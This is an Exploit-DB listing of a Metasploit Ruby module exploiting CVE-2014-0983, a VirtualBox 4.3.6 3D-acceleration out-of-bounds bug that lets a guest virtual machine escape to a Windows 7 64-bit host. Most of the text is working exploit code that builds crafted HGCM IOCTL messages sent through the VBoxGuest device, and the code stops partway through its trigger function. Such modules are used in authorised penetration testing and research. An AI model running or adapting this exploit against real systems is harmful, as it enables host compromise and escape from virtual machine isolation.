Exploit-DB #34334
Description: Oracle VM VirtualBox 4.3.6 - 3D Acceleration Virtual Machine Escape (Metasploit)
Type: remote
Platform: windows_x86-64
Date: 2014-08-14
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
  Rank = AverageRanking

  DEVICE               = '\\\\.\\VBoxGuest'
  INVALID_HANDLE_VALUE = 0xFFFFFFFF

  # VBOX HGCM protocol constants
  VBOXGUEST_IOCTL_HGCM_CONNECT    = 2269248
  VBOXGUEST_IOCTL_HGCM_DISCONNECT = 2269252
  VBOXGUEST_IOCTL_HGCM_CALL       = 2269256
  CONNECT_MSG_SIZE                = 140
  DISCONNECT_MSG_SIZE             = 8
  SET_VERSION_MSG_SIZE            = 40
  SET_PID_MSG_SIZE                = 28
  CALL_EA_MSG_SIZE                = 40
  VERR_WRONG_ORDER                = 0xffffffea
  SHCRGL_GUEST_FN_SET_PID         = 12
  SHCRGL_CPARMS_SET_PID           = 1
  SHCRGL_GUEST_FN_SET_VERSION     = 6
  SHCRGL_CPARMS_SET_VERSION       = 2
  SHCRGL_GUEST_FN_INJECT          = 9
  SHCRGL_CPARMS_INJECT            = 2
  CR_PROTOCOL_VERSION_MAJOR       = 9
  CR_PROTOCOL_VERSION_MINOR       = 1
  VMM_DEV_HGCM_PARM_TYPE_32_BIT   = 1
  VMM_DEV_HGCM_PARM_TYPE_64_BIT   = 2
  VMM_DEV_HGCM_PARM_TYPE_LIN_ADDR = 5

  def initialize(info={})
    super(update_info(info, {
      'Name'           => 'VirtualBox 3D Acceleration Virtual Machine Escape',
      'Description'    => %q{
        This module exploits a vulnerability in the 3D Acceleration support for VirtualBox. The
        vulnerability exists in the remote rendering of OpenGL-based 3D graphics. By sending a
        sequence of specially crafted of rendering messages, a virtual machine can exploit an out
        of bounds array access to corrupt memory and escape to the host. This module has been
        tested successfully on Windows 7 SP1 (64 bits) as Host running  Virtual Box 4.3.6.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Francisco Falcon', # Vulnerability Discovery and PoC
          'Florian Ledoux', # Win 8 64 bits exploitation analysis
          'juan vazquez' # MSF module
        ],
      'Arch'           => ARCH_X86_64,
      'Platform'       => 'win',
      'SessionTypes'   => ['meterpreter'],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Targets'        =>
        [
          [ 'VirtualBox 4.3.6 / Windows 7 SP1 / 64 bits (ASLR/DEP bypass)',
            {
              :messages => :target_virtualbox_436_win7_64
            }
          ]
        ],
      'Payload'        =>
        {
          'Space'       => 7000,
          'DisableNops' => true
        },
      'References'     =>
        [
          ['CVE', '2014-0983'],
          ['BID', '66133'],
          ['URL', 'http://www.coresecurity.com/advisories/oracle-virtualbox-3d-acceleration-multiple-memory-corruption-vulnerabilities'],
          ['URL', 'http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=oracle_virtualbox_3d_acceleration'],
          ['URL', 'http://www.vupen.com/blog/20140725.Advanced_Exploitation_VirtualBox_VM_Escape.php']
        ],
      'DisclosureDate' => 'Mar 11 2014',
      'DefaultTarget'  => 0
    }))

  end

  def open_device
    r = session.railgun.kernel32.CreateFileA(DEVICE, "GENERIC_READ | GENERIC_WRITE", 0, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0)

    handle = r['return']

    if handle == INVALID_HANDLE_VALUE
      return nil
    end

    return handle
  end

  def send_ioctl(ioctl, msg)
    result = session.railgun.kernel32.DeviceIoControl(@handle, ioctl, msg, msg.length, msg.length, msg.length, 4, "")

    if result["GetLastError"] != 0
      unless result["ErrorMessage"].blank?
        vprint_error("#{result["ErrorMessage"]}")
      end
      return nil
    end

    unless result["lpBytesReturned"] && result["lpBytesReturned"] == msg.length
      unless result["ErrorMessage"].blank?
        vprint_error("#{result["ErrorMessage"]}")
      end
      return nil
    end

    unless result["lpOutBuffer"] && result["lpOutBuffer"].unpack("V").first == 0
      unless result["ErrorMessage"].blank?
        vprint_error("#{result["ErrorMessage"]}")
      end
      return nil
    end

    result
  end

  def connect
    msg = "\x00" * CONNECT_MSG_SIZE

    msg[4, 4] = [2].pack("V")
    msg[8, "VBoxSharedCrOpenGL".length] = "VBoxSharedCrOpenGL"

    result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CONNECT, msg)

    if result.nil?
      return result
    end

    client_id = result["lpOutBuffer"][136, 4].unpack("V").first

    client_id
  end

  def disconnect
    msg = "\x00" * DISCONNECT_MSG_SIZE

    msg[4, 4] = [@client_id].pack("V")

    result = send_ioctl(VBOXGUEST_IOCTL_HGCM_DISCONNECT, msg)

    result
  end

  def set_pid(pid)
    msg = "\x00" * SET_PID_MSG_SIZE

    msg[0, 4]  = [VERR_WRONG_ORDER].pack("V")
    msg[4, 4]  = [@client_id].pack("V")  # u32ClientID
    msg[8, 4]  = [SHCRGL_GUEST_FN_SET_PID].pack("V")
    msg[12, 4] = [SHCRGL_CPARMS_SET_PID].pack("V")
    msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_64_BIT].pack("V")
    msg[20, 4] = [pid].pack("V")

    result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)

    result
  end

  def set_version
    msg = "\x00" * SET_VERSION_MSG_SIZE

    msg[0, 4]  = [VERR_WRONG_ORDER].pack("V")
    msg[4, 4]  = [@client_id].pack("V") # u32ClientID
    msg[8, 4]  = [SHCRGL_GUEST_FN_SET_VERSION].pack("V")
    msg[12, 4] = [SHCRGL_CPARMS_SET_VERSION].pack("V")
    msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
    msg[20, 4] = [CR_PROTOCOL_VERSION_MAJOR].pack("V")
    msg[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
    msg[32, 4] = [CR_PROTOCOL_VERSION_MINOR].pack("V")

    result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)

    result
  end

  def trigger(buff_addr, buff_length)
    msg = "\x00" * CALL_EA_MSG_SIZE

    msg[4, 4] = [@client_id].pack("V")  # u